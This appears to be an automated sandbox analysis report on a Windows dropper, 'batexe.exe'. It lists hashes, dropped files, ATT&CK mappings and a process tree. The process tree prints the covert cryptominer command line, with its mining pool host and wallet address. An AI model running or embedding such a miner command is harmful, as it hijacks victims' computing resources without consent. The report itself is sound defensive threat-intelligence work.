73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
305s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 03:21

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3216	b2e.exe
1276	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1276	cpuminer-sse2.exe
1276	cpuminer-sse2.exe
1276	cpuminer-sse2.exe
1276	cpuminer-sse2.exe
1276	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3020-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 3216	3020	batexe.exe	73
PID 3020 wrote to memory of 3216	3020	batexe.exe	73
PID 3020 wrote to memory of 3216	3020	batexe.exe	73
PID 3216 wrote to memory of 4316	3216	b2e.exe	74
PID 3216 wrote to memory of 4316	3216	b2e.exe	74
PID 3216 wrote to memory of 4316	3216	b2e.exe	74
PID 4316 wrote to memory of 1276	4316	cmd.exe	77
PID 4316 wrote to memory of 1276	4316	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Users\Admin\AppData\Local\Temp\A364.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A364.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A364.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3216
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A7E8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4316
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A364.tmp\b2e.exe

Filesize
2.4MB

MD5
000f75482a8f3c361e1ef9b58a16ee5f

SHA1
4e67fd460b9fa59dc5c1147833ad2f40f94d0279

SHA256
5143fc3449d84ea5cf510321dc92e2e28e68385863a6b07da646a406b53a875e

SHA512
fe72c633e123cea33c480746a4534fe6228f2c1f6184edbc75c144a201fb556ba0d68415c2abaa9c844a39bb900300f24476e38a4e13825829da54d629eaf152

Download Submit
C:\Users\Admin\AppData\Local\Temp\A364.tmp\b2e.exe

Filesize
4.2MB

MD5
281a882bb509fe3af7e9fed755483f45

SHA1
7896952966b1a2154d80e686ce2412d684b29872

SHA256
6c0b951844e27a55bceb839c4e9f770d2069f96de39003fa4ac9af34f94ed8e9

SHA512
054199c2fb1cfad43da8f7099ab62b8f148429989410666f8ad7560cf4826b1d106696f7be67d545ad3842fa2cde5f1bd44e6edf539a6f98e300540ef6412210

Download Submit
C:\Users\Admin\AppData\Local\Temp\A7E8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
3c40059528ede0dea9b3321fda6b534b

SHA1
a0a08c47d8461fd3fde0b90847ef6a62ec1d9893

SHA256
cfca9a2887a1dc9034acbf5dc69bb1b12025607ae1f7446cfa5bbe3919ee4318

SHA512
3f508d101ef24d4a5f7963b790e17585a77c7da42fbe17b81f5b49aa13d0be11f142dd0cd4f84584355a0d4e6b556ddcb51ae749083b93f1f545f04f6d71f9b1

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.5MB

MD5
e733221a46b659fce25a4d62435aa493

SHA1
c01f340f7db1c993ae877a42ec67462a53b4bccb

SHA256
a2dd434101509c9f6300e789423baa0e2f00a1e698ff21da4d6515030f023eb5

SHA512
8fdb1ee8b0a7fe695b7c83cc9157258096babe8ed3269fa33d07f09379f48e1342313725afdeb7956af55cb88baf7f7a0e6a9eaf4905179e1a9d6b1b9e41ca8c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.6MB

MD5
29361f54209797371b7ce31ba24241e7

SHA1
4720e44643890c789fde3c0d8adc13d2adb7db0a

SHA256
3a1c70e3ec44f08ace3d3e11b708111bc52b350adc34f14e88f9ff118e44af77

SHA512
6f575294311b8804f1e029ebf1af975b3d6308aa3fa08bb0c539bfa6744142d9496eace01e8c1ac7c12b0561c8675222a766e61209dc28a363edde05b6ed0e61

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1276-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1276-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1276-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1276-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1276-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1276-42-0x0000000066770000-0x0000000066808000-memory.dmp

Filesize
608KB

Download
memory/1276-44-0x0000000001060000-0x0000000002915000-memory.dmp

Filesize
24.7MB

Download
memory/1276-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1276-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1276-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1276-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1276-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1276-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3020-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3216-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3216-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download